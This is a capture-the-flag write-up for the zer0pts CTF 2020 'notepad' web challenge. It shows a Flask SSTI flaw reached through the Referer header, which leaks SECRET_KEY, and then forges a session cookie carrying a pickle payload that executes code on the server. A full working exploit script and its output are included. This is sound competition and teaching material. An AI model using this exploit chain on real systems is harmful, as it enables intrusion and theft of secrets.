---
# System prepended metadata

title: '[zer0pts CTF 2020] notepad'
tags: [web, zer0pts CTF 2020, zer0pts CTF]

---

# [zer0pts CTF 2020] notepad
###### tags: `zer0pts CTF`, `zer0pts CTF 2020`, `web`

## Solution


As you can see from `app.py`, there is a Server-Side Template Injection (SSTI) vulnerability via `Referer` header in 404 page.

```python=78
@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    
    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'
    
    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
    
    return flask.render_template_string(html), 404
```

In Flask, SSTI can easily be led to arbitrary code execution like [this article](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti). However, `Referer` header is checked with `valid_url` function that checks if the URL starts with its host and the length of the path is shorter than 16 chars.

```python=90
def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url
    
    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404
    
    return True
```

So, with this SSTI vulnerability, you can do limited things like exfiltrating `SECRET_KEY`, which is used to sign and verify client session data, with `{{config}}`.

```
$ curl http://3.112.201.75:8001/404 -H "Referer: http://3.112.201.75:8001/{{config}}"
<html><head><meta http-equiv="Refresh" content="3;URL=http://3.112.201.75:8001/&lt;Config {… &#39;SECRET_KEY&#39;: b&#39;\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I&#39;, …
```

Anyway, it's useful to tamper sessions. In this app, session is used for storing notes, which is serialized with [`pickle`](https://docs.python.org/3/library/pickle.html).

```python=26
@app.route('/new', methods=['GET'])
def new():
    """ Create a new note """
    data = load()
    data.append({"date": now(), "text": "", "title": "*New Note*"})
    flask.session['savedata'] = base64.b64encode(pickle.dumps(data))
    
    return flask.redirect('/note/' + str(len(data) - 1))
```

```python=99
def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]
    
    return data
```

As noted in [the official document](https://docs.python.org/3/library/pickle.html), `pickle` module is not secure to load untrusted data and can be led to arbitrary code execution. 

While referring to [past challenge](https://ctftime.org/task/1952), let's write an exploit that retrieves `SECRET_KEY`, sign payload with obtained `SECRET_KEY`, and send request with tampered session.

```python
import base64
import html
import re
import requests
import flask.sessions

HOST = 'http://3.112.201.75:8001/'

class App(object):
  def __init__(self, secret_key):
    self.secret_key = secret_key

def sign(secret_key, data):
  app = App(secret_key)
  si = flask.sessions.SecureCookieSessionInterface()
  s = si.get_signing_serializer(app)
  return s.dumps(data)

r = requests.get(HOST + '404', headers={
  'Referer': HOST + '{{config}}'
})
r = html.unescape(r.content.decode())
secret_key = eval(re.findall(r"'SECRET_KEY': (b'.+?')", r)[0])
print('secret_key:', secret_key)

code = b"c__builtin__\neval\n(S'open(\\'/home/web/flag\\').read()'\ntR"
sig = sign(secret_key, {'savedata': base64.b64encode(b"(lp0\n(dp1\nS'date'\np2\nI0\nsS'text'\np3\nS''\np4\nsS'title'\np5\n" + code + b"p6\nsa.")})

r = requests.get(HOST, cookies={
  'session': sig
})
print(re.findall(rb'(zer0pts\{.+\})', r.content)[0])
```

```
$ python solve.py
secret_key: b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
b'zer0pts{fl4sk_s3ss10n_4nd_pyth0n_RCE}'
```